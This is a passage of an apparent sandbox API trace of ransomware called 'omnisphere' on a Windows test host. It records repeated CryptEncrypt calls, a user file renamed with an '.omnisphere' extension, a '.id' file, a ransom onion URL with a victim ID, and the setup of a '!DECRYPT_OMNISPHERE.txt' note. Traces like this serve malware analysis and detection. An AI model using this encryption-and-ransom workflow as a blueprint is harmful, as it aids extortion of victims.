pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.103] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.103] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.103] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.103] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.103] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.103] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.103] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.103] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.103] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.103] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.104] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.104] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.104] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.104] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.104] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.104] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.104] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.104] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.104] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.104] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.104] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.104] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.104] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.104] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.104] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.104] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.104] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.104] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.105] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.105] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.105] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.105] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.105] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.105] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.105] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.105] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.105] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.105] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.105] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.105] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.105] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.105] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.105] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.105] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.105] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.105] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.105] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.106] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.106] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.106] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.106] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.106] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.106] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.106] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.106] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.106] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.106] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.106] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.106] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.106] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.106] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.106] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.106] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.106] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.106] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.106] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.107] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.107] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.107] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.107] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.107] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.107] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.107] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.107] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.107] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.107] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.107] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.107] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.107] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.107] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.109] CryptDestroyKey (hKey=0x1639b68) returned 1 [0128.109] CryptReleaseContext (hProv=0x1668c58, dwFlags=0x0) returned 1 [0128.109] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x2000, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.109] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0128.109] GetProcessHeap () returned 0x1600000 [0128.109] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x310) returned 0x16fc738 [0128.109] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\7e4dca80246863e3.automaticdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\7e4dca80246863e3.automaticdestinations-ms.omnisphere")) returned 1 [0128.111] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms.omnisphere.id" [0128.111] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\7e4dca80246863e3.automaticdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0128.111] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0128.113] CloseHandle (hObject=0x388) returned 1 [0128.113] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.113] CloseHandle (hObject=0x3c0) returned 1 [0128.113] SetEndOfFile (hFile=0x288) returned 1 [0128.114] FlushFileBuffers (hFile=0x288) returned 1 [0128.121] CloseHandle (hObject=0x288) returned 1 [0128.122] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0128.122] GetProcessHeap () returned 0x1600000 [0128.122] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16fca50 [0128.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.122] GetProcessHeap () returned 0x1600000 [0128.122] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1e38 [0128.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1e38, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.122] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0128.122] GetProcessHeap () returned 0x1600000 [0128.122] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710760 [0128.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710760, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.122] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.122] GetProcessHeap () returned 0x1600000 [0128.122] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x16fae10 [0128.122] PathCombineW (in: pszDest=0x16fae10, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" [0128.122] GetProcessHeap () returned 0x1600000 [0128.123] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1704010 